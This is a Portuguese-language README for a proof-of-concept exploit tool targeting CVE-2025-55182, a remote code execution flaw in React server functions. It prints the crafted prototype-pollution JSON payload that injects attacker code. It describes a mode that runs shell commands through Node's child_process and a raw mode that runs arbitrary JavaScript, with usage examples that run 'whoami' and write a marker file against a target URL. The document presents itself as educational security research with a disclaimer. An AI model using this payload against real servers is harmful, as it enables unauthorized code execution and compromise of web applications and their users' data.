
Este é um script de POC para CVE-2025-55182 (React SSR RCE)
Esta é uma Prova de Conceito (PoC) apenas para fins educacionais e de pesquisa em segurança. Esta vulnerabilidade foi corrigida nas versões mais recentes dos pacotes afetados. Utilize esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar. Não me responsabilizo por quaisquer ações legais tomadas contra você.
O exploit cria um objeto JSON especialmente elaborado que abusa da cadeia de protótipos do JavaScript:
{
"then": "$1:__proto__:then", // Polui a cadeia de protótipos
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Código malicioso injetado
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
O PoC suporta dois modos:
Modo Padrão (padrão):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
Encapsula comandos de shell para execução via child_process do Node.js.
Modo Raw (flag --raw):
// Executa JavaScript arbitrário diretamente
Permite a execução direta de código JavaScript sem encapsulamento de comando de shell.
bun run index.ts <arquivo_de_comando> <url_alvo>
Exemplo:
# Crie um arquivo de comando
echo "whoami" > cmd.txt
# Execute contra um endpoint vulnerável
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <arquivo_js> <url_alvo>
Exemplo:
# Crie um payload JavaScript
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Execute JavaScript raw
bun run index.ts --raw payload.js http://localhost:3000
<caminho_do_arquivo>: Caminho para o arquivo contendo o comando ou código JavaScript<url_alvo>: URL do endpoint da React Server Function--raw: (Opcional) Executa JavaScript raw em vez de comandos de shellDescoberto por: Lachlan Davidson
Divulgado por: Equipe React e Meta Security